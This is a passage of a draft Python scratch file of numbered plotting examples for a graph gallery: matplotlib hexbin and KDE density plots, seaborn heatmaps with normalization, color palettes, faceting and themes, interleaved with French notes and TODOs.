np\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.normal(size=50000)\r\ny = (x * 3 + np.random.normal(size=50000)) * 5\r\n\r\n# Make the plot\r\nplt.hexbin(x, y, gridsize=(15,15) )\r\nplt.savefig('PNG/#84_hexbin_matplotlib_1.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n\r\n# We can control the size of the bins:\r\nplt.hexbin(x, y, gridsize=(150,150) )\r\nplt.savefig('PNG/#84_hexbin_matplotlib_2.png', dpi=96)\r\nplt.gca()\r\n#plt.show()\r\n\r\n\r\n# Control the color\r\n# For palettes see: https://matplotlib.org/examples/color/colormaps_reference.html\r\nplt.hexbin(x, y, gridsize=(25,25), cmap=plt.cm.Greens)\r\nplt.savefig('PNG/#84_hexbin_matplotlib_3.png', dpi=96)\r\nplt.gca()\r\n#plt.show()\r\nplt.hexbin(x, y, gridsize=(25,25), cmap=plt.cm.BuGn_r)\r\nplt.savefig('PNG/#84_hexbin_matplotlib_4.png', dpi=96)\r\nplt.gca()\r\n#plt.show()\r\n\r\n\r\n# Add a colorbar if necessary\r\nplt.hexbin(x, y, gridsize=(25,25), cmap=plt.cm.Purples_r)\r\nplt.colorbar()\r\nplt.savefig('PNG/#84_hexbin_matplotlib_5.png', dpi=96)\r\n#plt.show()\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #85 Kernel density estimate (KDE) and contour with matplotlib\r\n\r\n# inspired from https://stackoverflow.com/questions/19390320/scatterplot-contours-in-matplotlib\r\n#Make a kernel-density estimate (KDE) and contour the results. A KDE is essentially a smoothed histogram. Instead of a point falling into a particular bin, it adds a weight to surrounding bins (usually in the shape of a gaussian \"bell curve\").\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom scipy.stats import kde\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.normal(size=500)\r\ny = x * 3 + np.random.normal(size=500)\r\n\r\n# Evaluate a gaussian kde on a regular grid of nbins x nbins over data extents\r\nnbins=300\r\nk = kde.gaussian_kde([x,y])\r\nxi, yi = np.mgrid[x.min():x.max():nbins*1j, y.min():y.max():nbins*1j]\r\nzi = k(np.vstack([xi.flatten(), yi.flatten()]))\r\n\r\n# Make the plot\r\nplt.pcolormesh(xi, yi, zi.reshape(xi.shape))\r\nplt.savefig('PNG/#85_2D_density_plot_matplotlib_1.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n\r\n# Change color palette\r\nplt.pcolormesh(xi, yi, zi.reshape(xi.shape), cmap=plt.cm.Greens_r)\r\nplt.savefig('PNG/#85_2D_density_plot_matplotlib_2.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n\r\n# Add color bar\r\nplt.pcolormesh(xi, yi, zi.reshape(xi.shape), cmap=plt.cm.Greens_r)\r\nplt.colorbar()\r\nplt.savefig('PNG/#85_2D_density_plot_matplotlib_3.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #86 Explanations of differences\r\n #Highly inspired from https://stackoverflow.com/questions/19390320/scatterplot-contours-in-matplotlib\r\n\r\n# Libraries\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import kde\r\n\r\n# Create data: 200 points\r\ndata = np.random.multivariate_normal([0, 0], [[1, 0.5], [0.5, 3]], 200)\r\nx, y = data.T\r\n\r\n# Create a figure with 6 plot areas\r\nfig, axes = plt.subplots(ncols=6, nrows=1, figsize=(21, 5)) #, sharex=True, sharey=True)\r\n\r\n\r\n# Everything sarts with a Scatterplot\r\naxes[0].set_title('Scatterplot')\r\naxes[0].plot(x, y, 'ko')\r\n# As you can see there is a lot of overplottin here!\r\n\r\n# Thus we can cut the plotting window in several hexbins\r\nnbins = 20\r\naxes[1].set_title('Hexbin')\r\naxes[1].hexbin(x, y, gridsize=nbins, cmap=plt.cm.BuGn_r)\r\n\r\n# 2D Histogram\r\naxes[2].set_title('2D Histogram')\r\naxes[2].hist2d(x, y, bins=nbins, cmap=plt.cm.BuGn_r)\r\n\r\n# Evaluate a gaussian kde on a regular grid of nbins x nbins over data extents\r\nk = kde.gaussian_kde(data.T)\r\nxi, yi = np.mgrid[x.min():x.max():nbins*1j, y.min():y.max():nbins*1j]\r\nzi = k(np.vstack([xi.flatten(), yi.flatten()]))\r\n\r\n# plot a density\r\naxes[3].set_title('Calculate Gaussian KDE')\r\naxes[3].pcolormesh(xi, yi, zi.reshape(xi.shape), cmap=plt.cm.BuGn_r)\r\n\r\n# add shading\r\naxes[4].set_title('2D Density with shading')\r\naxes[4].pcolormesh(xi, yi, zi.reshape(xi.shape), shading='gouraud', cmap=plt.cm.BuGn_r)\r\n\r\n# contour\r\naxes[5].set_title('Contour')\r\naxes[5].pcolormesh(xi, yi, zi.reshape(xi.shape), shading='gouraud', cmap=plt.cm.BuGn_r)\r\naxes[5].contour(xi, yi, zi.reshape(xi.shape) )\r\n\r\nplt.savefig('PNG/#86_2D_density_plot_explanation.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #90 -> #100  SEABORN HEATMAP \r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n# Plot rectangular data as a color-encoded matrix\r\n# --> donc a priori, c'est juste une visualisation de la matrice.\r\n# on a pas de m\u00e9thode de clustering propos\u00e9e.\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #90 Default Heatmap & input format\r\n\r\n# FORMAT 1: A rectangular format (untidy, wide)\r\n\r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# Create a dataset (fake)\r\ndf = pd.DataFrame(np.random.random((5,5)), columns=[\"a\",\"b\",\"c\",\"d\",\"e\"])\r\n\r\n# Default heatmap: just a visualization of this square matrix\r\np1 = sns.heatmap(df)\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#90_Input_format_for_heatmap1.png')\r\n\r\n\r\n\r\n# FORMAT 2: It is usefull for correlation matrix!\r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\nnp.random.seed(0)\r\n\r\n# Create a dataset (fake)\r\ndf = pd.DataFrame(np.random.random((100,5)), columns=[\"a\",\"b\",\"c\",\"d\",\"e\"])\r\n\r\n# Calculate correlation between each pair of variable\r\ncorr_matrix=df.corr()\r\n\r\n# plot it\r\np1 = sns.heatmap(corr_matrix, cmap='PuOr')\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#90_Input_format_for_heatmap2.png')\r\n\r\n# Can be great to plot only a half matrix\r\nmask = np.zeros_like(corr_matrix)\r\nmask[np.triu_indices_from(mask)] = True\r\nwith sns.axes_style(\"white\"):\r\n\tp2 = sns.heatmap(corr_matrix, mask=mask, square=True)\r\n#sns.plt.show()\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#90_Input_format_for_heatmap2bis.png')\r\n\r\n\r\n# FORMAT 3: Long format (tidy)\r\n\r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# Create long format\r\npeople=np.repeat((\"A\",\"B\",\"C\",\"D\",\"E\"),5)\r\nfeature=range(1,6)*5\r\nvalue=np.random.random(25)\r\ndf=pd.DataFrame({'feature': feature, 'people': people, 'value': value })\r\n\r\n# plot it\r\ndf_wide=df.pivot_table( index='people', columns='feature', values='value' )\r\np2=sns.heatmap( df_wide )\r\n#sns.plt.show()\r\n\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#90_Input_format_for_heatmap3.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #91 Customization on heatmap\r\n\r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# Create a dataset (fake)\r\ndf = pd.DataFrame(np.random.random((10,10)), columns=[\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\"])\r\n\r\n# Control lines between cells\r\np1 = sns.heatmap(df, linewidths=2, linecolor='yellow')\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#91_Custom_heat_control_lines.png')\r\n\r\n\r\n# Annotate each cell with the value\r\n# TODO: control size of text.\r\np2 = sns.heatmap(df, annot=True, annot_kws={\"size\": 7})\r\n#sns.plt.show()\r\n\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#91_Custom_heat_annotate_cells.png')\r\n\r\n# Do not show color bar\r\np3 = sns.heatmap(df, cbar=False)\r\n#sns.plt.show()\r\n\r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#91_Custom_heat_hide_colorbar.png')\r\n\r\n# Show / hide axis label:\r\np4 = sns.heatmap(df, yticklabels=False)\r\n#sns.plt.show()\r\n\r\nfig = p4.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#91_Custom_heat_hide_axis_label.png')\r\n\r\n# You can hide some of the label to avoid overlapping.\r\np5 = sns.heatmap(df, xticklabels=4)\r\n#sns.plt.show()\r\n\r\nfig = p5.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#91_Custom_heat_hide_some_axis_label.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #92 Control Color in heatmap\r\n\r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\nnp.random.seed(0)\r\n\r\n# USE A SEQUENTIAL PALETTE\r\n# Let's suppose you have a sequential data set, for exemple, valuers ranging from 0 to 1. You want to show if it\r\n# is high or low, from clear to dark:\r\n\r\n# Create a dataset (fake)\r\ndf = pd.DataFrame(np.random.random((10,10)), columns=[\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\"])\r\n\r\n# ---- Choose another palette, but choose it sequential, here are a few example:\r\np1 = sns.heatmap(df, cmap=\"YlGnBu\")\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#92_Control_color_heatmap1.png')\r\np1 = sns.heatmap(df, cmap=\"Blues\")\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#92_Control_color_heatmap2.png')\r\np1 = sns.heatmap(df, cmap=\"BuPu\")\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#92_Control_color_heatmap3.png')\r\np1 = sns.heatmap(df, cmap=\"Greens\")\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#92_Control_color_heatmap4.png')\r\n# --> link toward the color page.\r\n\r\n# ---- Change the limits of the colormap:\r\np1 = sns.heatmap(df, vmin=0, vmax=0.5)\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#92_Control_color_heatmap5.png')\r\np1 = sns.heatmap(df, vmin=0.5, vmax=0.7)\r\n#sns.plt.show()  \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#92_Control_color_heatmap6.png')\r\n\r\n\r\n\r\n# USE A DIVERGING PALETTE\r\n\r\n# If the data is centered on 0, you prefer to use a bi color palette.\r\n# You can change the center value with center()\r\ndf = np.random.randn(30, 30)\r\np1 = sns.heatmap(df, cmap=\"PiYG\")\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#92_Control_color_heatmap7.png')\r\n# Other example of palette: Spectral, RdGy, RdBu, PuOr, PRGn, BrBG\r\n# See: http://www.r-graph-gallery.com/38-rcolorbrewers-palettes/\r\n\r\n\r\n# --- Control the color of the center\r\np1 = sns.heatmap(df, center=1)\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#92_Control_color_heatmap8.png')\r\n\r\n\r\n# ---- Make the data discrete\r\n#En gros on peut controler le nombre de couleur diff\u00e9rentes, passer de continue a discret.\r\n# 2 solutions:\r\n\t# -> on fait des bins \u00e9galement espac\u00e9es \r\n\t# -> On fait des bins avec le meme nombre de valeur par bin pandas.qcut\u00b6\r\n\r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# create data\r\ndf = pd.DataFrame(np.random.randn(6, 6))\r\n\r\n# make it discrete\r\ndf_q = pd.DataFrame()\r\nfor col in df:\r\n    df_q[col] = pd.to_numeric( pd.qcut(df[col], 3, labels=list(range(3))) )\r\n\r\n# plot it\r\np1 = sns.heatmap(df_q)\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#92_Control_color_heatmap9.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #94 Use normalization on heatmap\r\n\r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# BY COLUMN\r\n\r\n# Create a dataframe where the average value of each column is really different\r\ndf = pd.DataFrame(np.random.randn(10,10) * 4 + 3)\r\ndf[1]=df[1]+40\r\n\r\n# If we do a heatmap, we just observe that a column as higher values than others:\r\np1 = sns.heatmap(df, cmap='viridis')\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#94_Heatmap_Normalization_Seaborn1.png')\r\n\r\n\r\n# Now if we normalize it by column. Let's do a min normalization:\r\ndf_norm_col=(df-df.mean())/df.std()\r\np2 = sns.heatmap(df_norm_col, cmap='viridis')\r\n#sns.plt.show()\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#94_Heatmap_Normalization_Seaborn2.png')\r\n# Other types of normalization exist so feel free to use your own.\r\n\r\n\r\n# BY ROW\r\n# The same mechanism works by row\r\n\r\n# library\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\nnp.random.seed(0)\r\n\r\n# Create a dataframe where the average value of each column is really different\r\ndf = pd.DataFrame(np.random.randn(10,10) * 4 + 3)\r\ndf.iloc[2]=df.iloc[2]+40\r\n\r\n# If we do a heatmap, we just observe that a column as higher values than others:\r\np3 = sns.heatmap(df, cmap='viridis')\r\n#sns.plt.show()\r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#94_Heatmap_Normalization_Seaborn3.png')\r\n\r\n# Normalize it by row: (not sure if it is the best way, please feel free to give me a better method.\r\n# substract mean\r\ndf_norm_row=df.sub(df.mean(axis=1), axis=0)\r\n# divide by standard dev\r\ndf_norm_row=df_norm_row.div( df.std(axis=1), axis=0 )\r\n\r\n# And see the result\r\np4 = sns.heatmap(df_norm_row, cmap='viridis')\r\n#sns.plt.show()\r\nfig = p4.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#94_Heatmap_Normalization_Seaborn4.png')\r\n\r\n\r\n\r\n\r\n\t\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #95 Use clusterization on matrix\r\n\r\nJusque la on a vu que la repr\u00e9sentation de matrice, aussi appel\u00e9 level plot.\r\non se contente de repr\u00e9senter l'info par une couleur.\r\n\r\nL'\u00e9tape d'apr\u00e8s c'est de faire de la classification hi\u00e9rarchique ascendante: on va voir quels sont les groupes qui\r\nse ressemblent en faisant un arbre. La il y a plein d'algo stat diff\u00e9rent pour faire l'arbre.\r\nUne fois que l'arbre est fait, il faut choisir l'ordre des feuilles dans l'arbre pour que le heatmap soit joli.\r\n\r\nC'est la fonction .clustermap de seaborn, on l'\u00e9tudiera plus tard TODO\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  96 Application on the volcano dataset\r\n\r\n\r\n# library\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport seaborn as sns\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Get the data (csv file is hosted on the web)\r\nurl = 'https://python-graph-gallery.com/wp-content/uploads/volcano.csv'\r\ndata = pd.read_csv(url)\r\n\r\n# plot\r\nsns.heatmap(data, cmap=\"viridis\")\r\n\r\n# axis and title\r\nplt.tick_params(labelbottom='off', labelleft='off')\r\nplt.xlabel('Latitude')\r\nplt.ylabel('Longitude')\r\nplt.title('Altitude on the volcano area', loc='left' )\r\n\r\nplt.savefig('PNG/#96_Volcano_Heatmap.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #100 -> #110  ABOUT SEABORN\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #100 CALL ONE COLOR\r\n\r\nWhat is different from Matplotlib?\r\n\r\n\r\n=== 1/ CALL ONE COLOR ===\r\n\r\nJe peux remettre juste un graph et les basiques et lier vers matplotlib\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #101 MAKE A PALETTE\r\n\r\nRead this:\r\nhttp://seaborn.pydata.org/tutorial/color_palettes.html\r\n\r\nRcolorbrewer\r\nviridis\r\nhand palette\r\n\r\n\r\n\r\n# 2.1 Sequential\r\n\r\n# Libraries\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.rand(80) - 0.5\r\ny = x+np.random.rand(80)\r\nz = x+np.random.rand(80)\r\ndf = pd.DataFrame({'x':x, 'y':y, 'z':z})\r\n\r\n# R Color Brewer\r\n#sns.lmplot( x='x', y='y', data=df, fit_reg=False, hue='x', legend=False, palette=\"Blues\")\r\n#plt.savefig('PNG/#101_seaborn_palette1.png', dpi=96)\r\nsns.lmplot( x='x', y='y', data=df, fit_reg=False, hue='x', legend=False, palette=\"Blues_r\")\r\nplt.savefig('PNG/#101_seaborn_palette2.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n# 2.2 Diverging\r\n\r\n# Libraries\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.rand(80) - 0.5\r\ny = x+np.random.rand(80)\r\nz = x+np.random.rand(80)\r\ndf = pd.DataFrame({'x':x, 'y':y, 'z':z})\r\n\r\n# R Color Brewer\r\n#sns.lmplot( x='x', y='y', data=df, fit_reg=False, hue='x', legend=False, palette=\"PuOr\")\r\n#plt.savefig('PNG/#101_seaborn_palette3.png', dpi=96)\r\nsns.lmplot( x='x', y='y', data=df, fit_reg=False, hue='x', legend=False, palette=\"PuOr_r\")\r\nplt.savefig('PNG/#101_seaborn_palette4.png', dpi=96)\r\n\r\n\r\n# TODO\r\n# use the seaborn function?\r\n# Make a diverging palette between two HUSL colors.\r\n#mypalette = sns.diverging_palette(220, 20, sep=20, as_cmap=True)\r\n#sns.palplot( mypalette )\r\n#sns.set_palette(mypalette)\r\n#sns.lmplot( x='x', y='y', data=df, fit_reg=False, hue='x', legend=False)\r\n#plt.savefig('PNG/#101_seaborn_palette2.png', dpi=96)\r\n\r\n\r\n# You can also use a matplotlib palette?\r\n\r\n\r\n\r\n\r\n\r\n\r\n# 2.3 Discrete / Qualitative\r\n\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n \r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# --- Use the 'palette' argument of seaborn\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', legend=False, palette=\"Set1\")\r\n# Move the legend to an empty part of the plot\r\nplt.legend(loc='lower right')\r\nplt.savefig('PNG/#101_seaborn_palette5.png', dpi=96)\r\n#sns.plt.show()\r\n\r\n# --- Use a handmade palette\r\nflatui = [\"#9b59b6\", \"#3498db\", \"orange\"]\r\nsns.set_palette(flatui)\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', legend=False)\r\nplt.savefig('PNG/#101_seaborn_palette6.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n# TO ADD ONE DAY\r\n\r\n*** DEFAULT\r\nBy default we have this palette, close to matplotlib but bit more pleasant\r\ncurrent_palette = sns.color_palette()\r\nsns.palplot(current_palette)\r\n\r\n*** 6 SEABORN PALETTES\r\nThere are 6 possible variation: deep, muted, pastel, bright, dark, and colorblind.\r\ncurrent_palette = sns.color_palette(\"pastel\")\r\nsns.palplot(current_palette)\r\n\r\nIf you need more than 6 colors, python will reuse past colors:\r\nsns.palplot(sns.color_palette(\"dark\", 15))\r\nThus it is a good option to use circular color space\r\nsns.palplot(sns.color_palette(\"hls\", 8))\r\n\r\n#\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #102 FACETING WITH SEABORN\r\n\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n*** Using the SUBPLOT function\r\n# This is good if there is no direct link between each plot\r\n# It is the matplotlib way to do it.\r\n\r\n# librarie and data\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\ndata = sns.load_dataset('iris')\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# make a grid with 1 row and 3 columns?\r\nplt.subplot(131)\r\nsns.boxplot(data=data)\r\nplt.subplot(132)\r\nsns.violinplot(data=data)\r\nplt.subplot(133)\r\nsns.regplot(x=data[\"sepal_length\"], y=data[\"sepal_width\"])\r\nplt.savefig('PNG/#101_Seaborn_subplot1.png', dpi=96)\r\n\r\n# make a grid with 1 column and 3 rows?\r\nplt.subplot(311)\r\nsns.boxplot(data=data)\r\nplt.subplot(312)\r\nsns.violinplot(data=data)\r\nplt.subplot(313)\r\nsns.regplot(x=data[\"sepal_length\"], y=data[\"sepal_width\"])\r\nplt.savefig('PNG/#101_Seaborn_subplot2.png', dpi=96)\r\n\r\n# --> See more detail in the correspondant matplotlib section, since it works the same\r\n\r\n\r\n\r\n\r\n\r\n*** Into a seaborn function\r\n\r\n# See here for more information.\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Split by species\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', col='species')\r\nsns.plt.show()\r\n\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', row='species')\r\nsns.plt.show()\r\n\r\naspect=.4, x_jitter=.1\r\ncol_wrap=2, size=3\r\n\r\nrow=\"sex\", col=\"time\"\r\n\r\n\r\n\r\n\r\n*** Using factor plot\r\n\r\n# We could use factorplot as well\r\nsns.factorplot(data=df, x=\"sepal_length\", y=\"sepal_width\", col=\"species\")  \r\nsns.plt.show()\r\n\r\nkind=\"violin\" /  kind=\"count\r\ncol=\"diet\"\r\nsize=5, aspect=.8\r\ncol_wrap\r\npalette=\"Set3\"\r\n\r\n\r\n*** Using Facet.grid\r\nhttps://seaborn.pydata.org/generated/seaborn.FacetGrid.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #103 CONTROL MARGINS WITH SEABORN\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #104 SEABORN THEMES\r\n\r\n\r\n# library\r\nimport seaborn as sns\r\nimport numpy as np\r\n\r\n# Data\r\ndata = np.random.normal(size=(20, 6)) + np.arange(6) / 2\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Proposed themes: darkgrid, whitegrid, dark, white, and ticks\r\n\r\n# To use a theme:\r\nsns.set_style(\"whitegrid\")\r\nsns.boxplot(data=data)\r\nplt.title(\"whitegrid\")\r\nplt.savefig('PNG/#104_seaborn_themes1.png', dpi=96)\r\n\r\nsns.set_style(\"darkgrid\")\r\nsns.boxplot(data=data);\r\nplt.title(\"darkgrid\")\r\nplt.savefig('PNG/#104_seaborn_themes2.png', dpi=96)\r\n\r\nsns.set_style(\"white\")\r\nsns.boxplot(data=data);\r\nplt.title(\"white\")\r\nplt.savefig('PNG/#104_seaborn_themes3.png', 